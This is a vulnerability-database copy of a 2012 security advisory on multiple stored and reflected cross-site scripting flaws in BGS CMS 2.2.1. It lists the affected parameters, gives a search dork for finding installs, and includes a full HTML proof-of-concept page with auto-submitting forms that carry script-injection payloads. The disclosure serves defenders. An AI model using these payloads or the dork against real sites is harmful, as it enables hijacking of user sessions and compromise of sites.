Lucene search
K

BGS CMS v2.2.1 Multiple Stored Cross-Site Scripting Vulnerabilities

🗓️ 11 Apr 2012 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 28 Views

BGS CMS v2.2.1 Stored XSS Vulnerabilities - Remote Impac

Code
<!--

BGS CMS v2.2.1 Multiple Stored Cross-Site Scripting Vulnerabilities

Vendor: BGSvetionik
Product web page: http://www.bgs-cms.com
Affected version: 2.2.1

Summary: BGS CMS is powerful Content Management System used to easily publish,
manage and organize wide variety of content on the website.

Desc: BGS CMS suffers from multiple stored and reflected XSS vulnerabilities
when parsing user input to several parameters via GET and POST method (post-auth).
Attackers can exploit this weakness to execute arbitrary HTML and script code in
a user's browser session.

o=====================================================================o
|   Parameter  |    Section    | Method | Stored XSS  | Reflected XSS |
|=====================================================================|
|              |               |        |             |               |
|  redirect    | categories    |  POST  |      X      |               |
|--------------|---------------|--------|-------------|---------------|
|  description | ads, products |  POST  |      X      |               |
|--------------|---------------|--------|-------------|---------------|
|  section     | news          |  GET   |             |       X       |
|--------------|---------------|--------|-------------|---------------|
|  name        | orders, polls |  POST  |      X      |               |
|--------------|---------------|--------|-------------|---------------|
|  url         | banners       |  POST  |      X      |               |
|--------------|---------------|--------|-------------|---------------|
|  title       | gallery       |  POST  |      X      |               |
|--------------|---------------|--------|-------------|---------------|
|  search      | search        |  GET   |             |       X       |
o=====================================================================o


Tested on: Apache 2.2.22
           PHP 5.3.10


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Vendor status:

[05.04.2012] Vulnerabilities discovered.
[05.04.2012] Initial contact with the vendor.
[10.04.2012] No response from the vendor.
[11.04.2012] Public security advisory released.


Advisory ID: ZSL-2012-5084
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5084.php

Dork: footer: "powered by BGS CMS"



05.04.2012

--><html>
<head><title>BGS CMS v2.2.1 Multiple Stored Cross-Site Scripting Vulnerabilities</title>
</head><body bgcolor="#000000">
<script type="text/javascript">
function xss0(){document.forms["xss0"].submit();}
function xss1(){document.forms["xss1"].submit();}
function xss2(){document.forms["xss2"].submit();}
function xss3(){document.forms["xss3"].submit();}
function xss4(){document.forms["xss4"].submit();}
function xss5(){document.forms["xss5"].submit();}
function xss6(){document.forms["xss6"].submit();}
function xss7(){document.forms["xss7"].submit();}
</script>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" id="xss0" method="POST">
<input name="name" type="hidden" value="Zero Science Lab"/>
<input name="title" type="hidden" value="XSS"/>
<input name="description" type="hidden" value="Cross Site Scripting"/>
<input name="parent_id" type="hidden" value="15"/>
<input name="redirect" type="hidden" value='"&gt;&lt;script&gt;alert(1);&lt;/script&gt;'/>
<input name="close" type="hidden" value="OK"/>
<input name="section" type="hidden" value="categories"/>
<input name="action" type="hidden" value="edit"/>
<input name="id" type="hidden" value="29"/>
</form>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" id="xss1" method="POST">
<input name="title" type="hidden" value="Zero Science Lab"/>
<input name="description" type="hidden" value='"&gt;&lt;script&gt;alert(1);&lt;/script&gt;'/>
<input name="disp_on_full_view" type="hidden" value="1"/>
<input name="status" type="hidden" value="1"/>
<input name="level" type="hidden" value="0"/>
<input name="type" type="hidden" value="ads"/>
<input name="close" type="hidden" value="OK"/>
<input name="section" type="hidden" value="ads"/>
<input name="action" type="hidden" value="edit"/>
<input name="id" type="hidden" value="0"/>
</form>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" id="xss2" method="POST">
<input name="created" type="hidden" value="ZSL"/>
<input name="name" type="hidden" value='"&gt;&lt;script&gt;alert(1);&lt;/script&gt;'/>
<input name="email" type="hidden" value="[email protected]"/>
<input name="message" type="hidden" value="t00t"/>
<input name="status" type="hidden" value="coolio"/>
<input name="close" type="hidden" value="OK"/>
<input name="section" type="hidden" value="orders"/>
<input name="action" type="hidden" value="edit"/>
</form>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" id="xss3" method="POST">
<input name="name" type="hidden" value='"&gt;&lt;script&gt;alert(1);&lt;/script&gt;'/>
<input name="question" type="hidden" value="What is physics?"/>
<input name="start" type="hidden" value="10 2012"/>
<input name="end" type="hidden" value="18 2012"/>
<input name="answer_text[]" type="hidden" value="A warm summer evening."/>
<input name="close" type="hidden" value="OK"/>
<input name="section" type="hidden" value="polls"/>
<input name="action" type="hidden" value="edit"/>
</form>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" id="xss4" method="POST">
<input name="name" type="hidden" value="admin"/>
<input name="image" type="hidden" value="joxy.jpg"/>
<input name="url" type="hidden" value='"&gt;&lt;script&gt;alert(1);&lt;/script&gt;'/>
<input name="max_displays" type="hidden" value="1"/>
<input name="close" type="hidden" value="OK"/>
<input name="section" type="hidden" value="banners"/>
<input name="action" type="hidden" value="edit"/>
<input name="id" type="hidden" value="9"/>
</form>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" id="xss5" method="POST">
<input name="title" type="hidden" value='"&gt;&lt;script&gt;alert(1);&lt;/script&gt;'/>
<input name="description" type="hidden" value="Ban"/>
<input name="folder" type="hidden" value="sexy_banner_imgx"/>
<input name="close" type="hidden" value="OK"/>
<input name="section" type="hidden" value="gallery"/>
<input name="action" type="hidden" value="edit"/>
</form>
<form action="http://localhost/" id="xss6" method="GET">
<input name="action" type="hidden" value="search"/>
<input name="search" type="hidden" value='"&gt;&lt;script&gt;alert(1);&lt;/script&gt;'/>
<input name="x" type="hidden" value="0"/>
<input name="y" type="hidden" value="0"/>
</form>
<form action="http://localhost/cms/" id="xss7" method="GET">
<input name="section" type="hidden" value='"&gt;&lt;script&gt;alert(1);&lt;/script&gt;'/>
<input name="action" type="hidden" value="add_news"/>
</form>
<br/><br/>
<a href="javascript: xss0();" style="text-decoration:none">
<b><font color="red"><h3>XSS 0</h3></font></b></a><br/>
<a href="javascript: xss1();" style="text-decoration:none">
<b><font color="red"><h3>XSS 1</h3></font></b></a><br/>
<a href="javascript: xss2();" style="text-decoration:none">
<b><font color="red"><h3>XSS 2</h3></font></b></a><br/>
<a href="javascript: xss3();" style="text-decoration:none">
<b><font color="red"><h3>XSS 3</h3></font></b></a><br/>
<a href="javascript: xss4();" style="text-decoration:none">
<b><font color="red"><h3>XSS 4</h3></font></b></a><br/>
<a href="javascript: xss5();" style="text-decoration:none">
<b><font color="red"><h3>XSS 5</h3></font></b></a><br/>
<a href="javascript: xss6();" style="text-decoration:none">
<b><font color="red"><h3>XSS 6</h3></font></b></a><br/><br/>
<a href="javascript: xss7();" style="text-decoration:none">
<b><font color="red"><h3>XSS 7</h3></font></b></a><br/><br/>
</body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Apr 2012 00:00Current
6.1Medium risk
Vulners AI Score6.1
28